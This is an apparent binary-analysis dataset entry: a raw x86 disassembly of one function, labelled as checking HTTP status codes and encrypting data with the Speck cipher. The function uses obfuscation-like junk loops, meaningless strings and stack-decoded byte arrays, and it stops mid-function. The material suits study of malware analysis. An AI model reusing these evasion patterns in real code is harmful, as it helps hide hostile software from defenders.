Function at 0x10029303
Capabilities:
Check http status code
Encrypt data using speck

Disassembly:
mov eax, 0x1005768d
call fcn.100568f8
sub esp, 0x5c4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x140], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x150], ebx
push ecx
push ecx
push 0x23b1
push ecx
push 0x660b
push 0x7555
push ecx
push 0x746a
push ecx
mov byte [ebp - 4], 1
mov dl, 1
push ecx
mov dword [ebp - 0x14], 0xec2e0cf5
mov ecx, 0x3f21
mov dword [ebp - 0x200], 0x374c7af5
call fcn.10028b81
add esp, 0x28
mov dword [ebp - 0x14], 0x18
jmp 0x100293cb
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x18], ebx
jmp 0x100293a0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4a0], 3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002938f
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x100293c8
push ecx
lea eax, [ebp - 0x200]
xor dl, dl
push eax
call fcn.10028a1a
dec dword [ebp - 0x18]
pop ecx
pop ecx
jns 0x100293b2
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff2
jg 0x10029383
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x100293ee
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x230], 0x9f9b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100293dd
xor edx, edx
inc edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x10029436
mov dword [ebp - 0x18], 0xf506e60b
mov dword [ebp - 0x18], ebx
jmp 0x1002942c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x230]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x230], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x230]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x1002940b
dec dword [ebp - 0x14]
jns 0x100293ff
push 0x6e
pop eax
push 2
mov dword [ebp - 0x84], 0x6037b08
mov dword [ebp - 0x80], 0x17021c09
mov dword [ebp - 0x7c], 0x2f000f0c
mov byte [ebp - 0x78], 5
mov byte [ebp - 0x77], al
mov dword [ebp - 0x76], 0x17045f0a
mov word [ebp - 0x72], 0xa0b
mov byte [ebp - 0x70], dl
mov dword [ebp - 0x6f], 0x722060e
mov byte [ebp - 0x6b], 0x2c
mov word [ebp - 0x314], ax
pop esi
movzx eax, byte [ebp + esi - 0x86]
movzx edx, byte [ebp + esi - 0x83]
mov ecx, edx
movzx eax, word [ebp + eax*2 - 0x324]
or ecx, eax
and edx, eax
movzx eax, byte [ebp + esi - 0x84]
sub ecx, edx
add esi, 2
mov word [ebp + eax*2 - 0x324], cx
cmp esi, 0x1a
jb 0x1002947d
xor eax, eax
mov dword [ebp - 0x68], 0xd072406
push 0x68
mov word [ebp - 0x30a], ax
mov ecx, ebx
pop eax
push 2
mov dword [ebp - 0x64], 0x4c044802
mov dword [ebp - 0x60], 0xd000203
mov dword [ebp - 0x5c], 0x44010101
mov word [ebp - 0x58], 0xc05
mov word [ebp - 0x278], ax
pop esi
mov dword [ebp - 0x138], ecx
cmp esi, 0xe
jne 0x10029505
push 2
pop ecx
mov dword [ebp - 0x138], ecx
jmp 0x10029554
movzx edx, byte [ebp + esi - 0x67]
mov eax, esi
sub eax, ecx
push 0x510c
push 0x6b3b
movzx eax, byte [ebp + eax - 0x6a]
movzx ecx, word [ebp + eax*2 - 0x284]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x68]
add ecx, edx
xor dl, dl
push ecx
push ecx
mov word [ebp + eax*2 - 0x284], cx
lea ecx, [ebp - 0x138]
call fcn.10028ff4
mov ecx, dword [ebp - 0x138]
add esp, 0x10
add esi, 2
cmp esi, 0x12
jb 0x100294f5
xor eax, eax
mov dword [ebp - 0x2cc], 7
mov word [ebp - 0x274], ax
lea ecx, [ebp - 0x2e0]
mov word [ebp - 0x2e0], ax
lea eax, [ebp - 0x284]
push eax
mov dword [ebp - 0x2d0], ebx
call fcn.10015682
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c8]
xor eax, eax
mov dword [ebp - 0x2b4], 7
mov word [ebp - 0x2c8], ax
lea eax, [ebp - 0x324]
push eax
mov dword [ebp - 0x2b8], ebx
call fcn.10015682
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x3e0]
call fcn.10016ef2
lea eax, [ebp - 0x2e0]
push eax
lea ecx, [ebp - 0x3c8]
call fcn.10016ef2
push ebx
push 1
lea ecx, [ebp - 0x2c8]
call fcn.1001570a
push ebx
push 1
lea ecx, [ebp - 0x2e0]
call fcn.1001570a
mov byte [ebp - 4], 3
lea eax, [ebp - 0x3b0]
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x168], ebx
push eax
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x164], ebx
push eax
push ebx
mov dword [ebp - 0x160], ebx
call fcn.1002b4be
push fcn.1002ad6f
push 1
push 0x30
lea eax, [ebp - 0x3e0]
mov byte [ebp - 4], 5
push eax
call fcn.1003ea0b
push 7
pop ecx
xor eax, eax
mov dword [ebp - 0x18], ebx
lea edi, [ebp - 0x324]
mov esi, ebx
rep stosd dword es:[edi], eax
cmp esi, 9
jae 0x1002972c
mov dword [ebp - 0x14], 0x7d1b
cmp dword [ebp - 0x14], 0x7e15
jle 0x100296d5
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov edi, ebx
mov ecx, ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
mov eax, edi
cdq
idiv ecx
mov ecx, esi
mov eax, ebx
sub ecx, edx
sar eax, cl
mov ecx, 0x1006f958
cdq
push edx
push eax
call fcn.10001c9b
mov ecx, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x5162
jl 0x10029686
inc edi
push 0
pop ebx
cmp edi, 0x1036
jl 0x1002967e
inc esi
cmp esi, 0x743b
jl 0x1002967c
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x66e2
jl 0x1002967a
mov esi, dword [ebp - 0x18]
xor eax, eax
mov byte [ebp - 4], 6
cmp dword [ebp - 0x14], 0x7b29
mov word [ebp + esi*2 - 0x284], ax
jge 0x1002971c
mov edx, str.fnozowwx_fxuomwvw_bnqczkfua_pgrowstw_bnmqaomcu
mov ecx, 0x1006f958
call fcn.1000366a
jmp 0x1002971c
inc esi
mov dword [ebp - 4], 5
mov dword [ebp - 0x18], esi
jmp 0x1002965e
mov dword [ebp - 0x1c], 0xfffffffa
push 2
mov dword [ebp - 0x28], ebx
pop eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xc
jne 0x10029875
mov dword [ebp - 0x20], 0x2dfc
cmp dword [ebp - 0x20], 0x3196
jle 0x100297b6
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
xor eax, ecx
lea ecx, [ebp - 0x3f8]
cdq
push edx
push eax
call fcn.10001a11
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10029780
mov eax, dword [eax]
push eax
call fcn.1003e6f6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3f8]
call fcn.10002003
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, 0x32a4
jl 0x10029762
inc edi
cmp edi, 0x3e7b
jl 0x10029760
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x55be
jl 0x1002975e
mov dword [ebp - 0x14], 0x9bf39019
cmp dword [ebp - 0x20], 0x2db8
jge 0x100297d1
push str.jjzvrraqf_zeafx_lujgvf_hdg_lai_limmj_hefptoar
call fcn.1003e6f6
pop ecx
mov dword [ebp - 4], 5
mov dword [ebp - 0x28], 0xd8530de9
mov dword [ebp - 0x28], 0x173948b0
push 3
mov dword [ebp - 0x20], 0xa028ea38
pop ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10029805
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4c4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100297f8
mov dword [ebp - 0x14], ebx
jmp 0x10029820
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x588], 0xe01b17d7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002980f
mov dword [ebp - 0x14], ebx
jmp 0x10029838
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2ec], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002982b
push 2
mov dword [ebp - 0x14], ebx
pop eax
jmp 0x10029862
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], 0x66bafcb1
mov dword [ebp - 0x18], ebx
jmp 0x1002985a
dec dword [ebp - 0x20]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10029854
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x10029845
dec dword [ebp - 0x2e8]
inc dword [ebp - 0x1c]
jmp 0x1002973f
lea eax, [ebp + 8]
mov dl, 1
push eax
lea eax, [ebp - 0x168]
mov ecx, 0x5562
push eax
push 0x976
push 1
push 0x1105
push 1
call fcn.10028cac
mov dword [ebp - 0x14], 0x76820624
add esp, 0x18
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0xffffffe5
jg 0x10029950
mov edx, 0xd2f38d9
xor eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x254], edx
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], ebx
jmp 0x100298f4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x364], 0x280643b8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100298e3
mov eax, dword [ebp - 0x14]
mov ecx, 0xe966
mov dword [ebp - 0x24c], 0x9008
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x24c]
add eax, ecx
mov ecx, dword [ebp - 0x1c]
imul ecx, eax
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x24], 0x4dde9a
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe5
jle 0x100298b6
mov dword [ebp - 0x14], ebx
jmp 0x1002996d
push 0x54ec
push ecx
mov byte [ebp - 0x3d], bl
lea edx, [ebp - 0x3d]
xor cl, cl
call fcn.10029280
dec dword [ebp - 0x14]
pop ecx
pop ecx
cmp dword [ebp - 0x14], 0xffffffe9
jge 0x10029955
mov dword [ebp - 0x18], 0xfffffff8
xor ecx, ecx
mov dword [ebp - 0x20], 0x246c3825
inc ecx
mov dword [ebp - 0x1c], 0x35240ca7
push 4
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x100299a3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x374], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10029996
mov dword [ebp - 0x14], ebx
jmp 0x100299be
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x218], 0xd926128f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100299ad
mov dword [ebp - 0x14], ebx
jmp 0x100299d9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x308], 0xfff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100299c8
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffff
jl 0x10029a32
cmp dword [ebp - 0x18], ebx
je 0x100299ef
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], 0x1c60
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp - 0x214]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp - 0x214]
mov eax, dword [ebp - 0x214]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x214]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x210]
setne dl
xor ecx, ecx
cmp edx, eax
push ebx
setg cl
push 0xe2f
mov dword [ebp - 0x18], ecx
push 0x92e
call fcn.10012926
pop ecx
pop ecx
call eax
mov dword [ebp - 0x28], 0xb3b9da4d
mov dword [ebp - 0x34], 0x4f3d4e67
mov dword [ebp - 0x30], 0x135e1f6f
mov dword [ebp - 0x18], 0x640f
cmp dword [ebp - 0x18], 0x654b
jle 0x10029b04
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], esi
mov edi, ebx
xor esi, eax
mov eax, esi
lea ecx, [ebp - 0x41c]
or eax, edi
cdq
push edx
push eax
call fcn.10001a11
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10029ac2
mov eax, dword [eax]
push eax
call fcn.1003e6f6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x41c]
call fcn.10002003
inc edi
cmp edi, 0x3704
jl 0x10029aa6
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x1adb
jl 0x10029a9f
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x6fdc
jl 0x10029a9a
push ebx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 0x28], 0xfffffff7
cmp dword [ebp - 0x18], 0x63d0
jge 0x10029b1f
push str.ttxh_omafulce_hhcp_heqyxuy_awxg_iibvr_yhu_njycvejeh_fwrr_dzxv_zfdpzypf_hdvvs_idzg_zwkgthyk
call fcn.1003e6f6
pop ecx
mov dword [ebp - 4], 5
mov dword [ebp - 0x1f0], 0x3f4f8803
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x21c], 0xeca6c849
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 0xa8ccedb7
mov dword [ebp - 0x1f8], ebx
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x20], 0x6188
cmp dword [ebp - 0x20], 0x636d
jle 0x10029bd2
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
or eax, ecx
lea ecx, [ebp - 0x44c]
cdq
push edx
push eax
call fcn.10001a11
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10029b9c
mov eax, dword [eax]
push eax
call fcn.1003e6f6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x44c]
call fcn.10002003
mov ecx, dword [ebp - 0x1c]
inc esi
cmp esi, 0x3fd5
jl 0x10029b7e
inc edi
cmp edi, 0x5fa6
jl 0x10029b7c
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x175e
jl 0x10029b7a
mov dword [ebp - 0x1c], 0xd17f
cmp dword [ebp - 0x20], 0x5f38
jge 0x10029bed
push str.zukq_ljxgzfebj_drekce_yie_pmo_owlfmjwlz_mtch_uepovzbvn_zddpsh_kkqeoq_khujgmgl
call fcn.1003e6f6
pop ecx
push 4
mov dword [ebp - 4], 5
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x10029c0d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x304], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10029bfc
mov dword [ebp - 0x14], ebx
jmp 0x10029c28
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x184], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10029c17
mov dword [ebp - 0x14], ebx
jmp 0x10029c40
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x18c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10029c33
mov dword [ebp - 0x20], 0x7d39
cmp dword [ebp - 0x20], 0x7e2b
jle 0x10029cb5
mov edx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x47c]
or eax, edx
cdq
push edx
push eax
call fcn.10001a11
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10029c7f
mov eax, dword [eax]
push eax
call fcn.1003e6f6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x47c]
call fcn.10002003
mov edx, dword [ebp - 0x1c]
inc esi
cmp esi, 0x7be4
jl 0x10029c5f
inc edi
cmp edi, 0x487d
jl 0x10029c5d
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x1ec4
jl 0x10029c5b
mov dword [ebp - 0x184], ebx
jmp 0x10029d71
mov dword [ebp - 0x1c], 0xff40
xor ecx, ecx
mov dword [ebp - 0x1c], 0x2759951e
inc ecx
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x204], 0x95cd
mov dword [ebp - 0x18], ebx
jmp 0x10029d02
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3b0], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10029cf1
push ecx
push ecx
push 0x21f2
push ecx
push ecx
lea edx, [ebp - 0x204]
call fcn.100292b9
add esp, 0x14
mov dword [ebp - 0x18], ebx
jmp 0x10029d65
push 0x5a23
push 0x62ba
lea eax, [ebp - 0x1f4]
mov dword [ebp - 0x1f4], ebx
mov dl, 1
push 1
push eax
mov cl, dl
call fcn.10028d00
push 0x1b35
push 0x43f0
push ebx
push 0x3f36
mov dl, 1
xor cl, cl
call fcn.10028d00
add esp, 0x20
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x10029d24
inc dword [ebp - 0x184]
cmp dword [ebp - 0x184], 3
jle 0x10029cc0
cmp dword [ebp - 0x20], 0x7a44
jge 0x10029d92
push str.sbaqldtry_qmyou_gaevjqfy_wkibyne_kqttnme_towarkn
call fcn.1003e6f6
pop ecx
mov dword [ebp - 4], 5
cmp dword [ebp - 0x238], ebx
je 0x10029dca
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x18c], ebx
jne 0x10029db5
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x2fc]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x2fc]
mov eax, dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x2f8]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x28], ebx
jne 0x10029df3
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], 0x3891
cmp dword [ebp - 0x30], 0x3905
jle 0x10029e6b
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], 0x360f
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x464]
cdq
push edx
push eax
call fcn.10001a11
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10029e38
mov eax, dword [eax]
push eax
call fcn.1003e6f6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x464]
call fcn.10002003
inc esi
cmp esi, 0x2918
jl 0x10029e1a
dec edi
dec dword [ebp - 0x24]
jne 0x10029e18
mov edi, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x7d2b
jl 0x10029e0e
push 0x2024
push 0x5660
push 0x6e88
push ebx
lea eax, [ebp - 0x2b0]
xor dl, dl
push eax
push 1
mov ecx, 0x516f
call fcn.10028cac
add esp, 0x18
cmp dword [ebp - 0x30], 0x361f
jge 0x10029ea7
push str.ymmxrrf_szzs_rkamirnug_hvdldiv_cxwv_upoctw_rznsww_uilptc_urjshd_wvijqr_gqmawm_uueixsru_zas_mnnh
call fcn.1003e6f6
pop ecx
mov dword [ebp - 4], 5
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x17c], 0xfffffff7
mov dword [ebp - 0x18], ebx
jmp 0x10029ef0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x358], 0xec6e54ee
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10029edf
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], ebx
jl 0x10029f78
mov dword [ebp - 0x28], 0xf368a901
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 8
mov eax, dword [ebp - 0x14]
push 0x6ba0
push ebx
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x34c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x17c], eax
lea eax, [ebp - 0x17c]
push eax
call fcn.10028eb4
add esp, 0xc
dec dword [ebp - 0x14]
jns 0x10029f02
push 1
push 0x69b4
mov dword [ebp - 0x38], ebx
call fcn.10028d63
mov dword [ebp - 0x224], 0xe76f5020
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x1d4], 0xc18
pop ecx
mov dword [ebp - 0x28], 0xb28787d
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x10029fc1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x578], 0xfffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10029fb0
mov dword [ebp - 0x14], ebx
jmp 0x10029fdd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2f0], 0x1d962ee6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10029fcc
lea eax, [ebp - 0x224]
push eax
push 1
push 0x1ad
call fcn.10028eb4
add esp, 0xc
lea eax, [ebp - 0x1d4]
xor dl, dl
mov cl, 1
push eax
push 0x7ef2
push 1
push 0x577c
call fcn.10028d00
add esp, 0x10
mov byte [ebp - 0xd8], bl
mov dword [ebp - 0xd7], 0x234f0ae4
mov dword [ebp - 0xd3], 0x2382571
mov dword [ebp - 0xce], 0x711e731f
push 0x39
pop eax
push 0x7b
mov byte [ebp - 0xcf], al
pop eax
push 2
mov dword [ebp - 0xca], 0x15076b09
mov dword [ebp - 0xc6], 0xe240e21
mov dword [ebp - 0xc2], 0x212081a
mov dword [ebp - 0xbe], 0x7508030f
mov dword [ebp - 0xba], 0x6c166918
mov dword [ebp - 0xb6], 0xd207517
mov dword [ebp - 0xb2], 0x5050d1d
mov dword [ebp - 0xae], 0x815080d
mov dword [ebp - 0xaa], 0x7101050c
mov dword [ebp - 0xa6], 0x731c061b
mov dword [ebp - 0xa2], 0x1c101d0e
mov dword [ebp - 0x9e], 0x1e13020b
mov dword [ebp - 0x9a], 0x8061503
mov dword [ebp - 0x96], 0x9190922
mov dword [ebp - 0x92], 0x7d110914
mov word [ebp - 0x8e], 0x704
mov word [ebp - 0x518], ax
pop esi
movzx eax, byte [ebp + esi - 0xda]
movzx ecx, byte [ebp + esi - 0xd7]
movzx eax, word [ebp + eax*2 - 0x518]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
movzx eax, byte [ebp + esi - 0xd8]
add esi, 2
mov word [ebp + eax*2 - 0x518], dx
cmp esi, 0x4c
jb 0x1002a0f1
xor eax, eax
mov word [ebp - 0x4cc], ax
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x1d8], 0xeb59
mov dword [ebp - 0x23c], 0x38d927f7
mov dword [ebp - 0x228], 8
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1002a172
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x404], 0x8b9ba5e0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002a161
lea eax, [ebp - 0x16c]
xor dl, dl
push eax
push 1
mov ecx, 0x550d
call fcn.10028b31
lea eax, [ebp - 0x228]
xor dl, dl
push eax
push ecx
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x208]
push eax
push ecx
lea eax, [ebp - 0x16c]
push eax
push ecx
push ecx
lea ecx, [ebp - 0x1d8]
call fcn.10028b81
mov dword [ebp - 0x1c], 0x3f93
add esp, 0x28
cmp dword [ebp - 0x1c], 0x41c3
jle 0x1002a246
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov eax, ebx
mov dword [ebp - 0x30], ebx
add eax, ecx
mov dword [ebp - 0x34], 0x800
mov dword [ebp - 0x24], eax
mov esi, eax
mov edi, 0x7981
mov eax, esi
lea ecx, [ebp - 0x4b8]
cdq
push edx
push eax
call fcn.10001a11
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a204
mov eax, dword [eax]
push eax
call fcn.1003e6f6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4b8]
call fcn.10002003
inc esi
dec edi
jne 0x1002a1ea
mov eax, dword [ebp - 0x24]
dec eax
dec dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
jne 0x1002a1e3
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x7bed
jl 0x1002a1d7
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x3a83
jl 0x1002a1d2
cmp dword [ebp - 0x1c], 0x3c60
jge 0x1002a25a
push str.puccift_blf_dfhflx_osju
call fcn.1003e6f6
pop ecx
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x270]
xor eax, eax
mov dword [ebp - 0x25c], 7
mov word [ebp - 0x270], ax
lea eax, [ebp - 0x518]
push eax
mov dword [ebp - 0x260], ebx
call fcn.10015682
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x18], ebx
jmp 0x1002a2a6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x248], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002a295
mov dword [ebp - 0x244], ebx
cmp dword [ebp - 0x244], 0x12
mov byte [ebp - 0x29], bl
jg 0x1002a376
cmp byte [ebp - 0x29], 0
je 0x1002a36b
mov dword [ebp - 0x20], 0x1388
cmp dword [ebp - 0x20], 0x1620
jle 0x1002a348
push ebx
push ebx
call dword [sym.imp.GDI32.dll_RectInRegion]
mov dword [ebp - 0x30], ebx
mov edi, ebx
mov dword [ebp - 0x34], 0x2fc7
mov dword [ebp - 0x24], edi
mov esi, edi
mov edi, 0x11ae
mov eax, esi
lea ecx, [ebp - 0x494]
cdq
push edx
push eax
call fcn.10001a11
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a314
mov eax, dword [eax]
push eax
call fcn.1003e6f6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x494]
call fcn.10002003
dec esi
dec edi
jne 0x1002a2fa
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
add edi, eax
dec dword [ebp - 0x34]
mov dword [ebp - 0x24], edi
jne 0x1002a2f3
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x687c
jl 0x1002a2e7
push 1
call fcn.10028f1b
cmp dword [ebp - 0x20], 0x12c7
pop ecx
jge 0x1002a364
push str.mkbxlx_iibdnq_chkj_qqlpz_whnfh_bcnbwoag_lpximk_ccr
call fcn.1003e6f6
pop ecx
mov dword [ebp - 4], 0x14
inc dword [ebp - 0x244]
jmp 0x1002a2b2
cmp byte [ebp - 0x29], 0
je 0x1002a38b
push ecx
push 0x385d
xor dl, dl
call fcn.1002900c
pop ecx
pop ecx
push 0x13
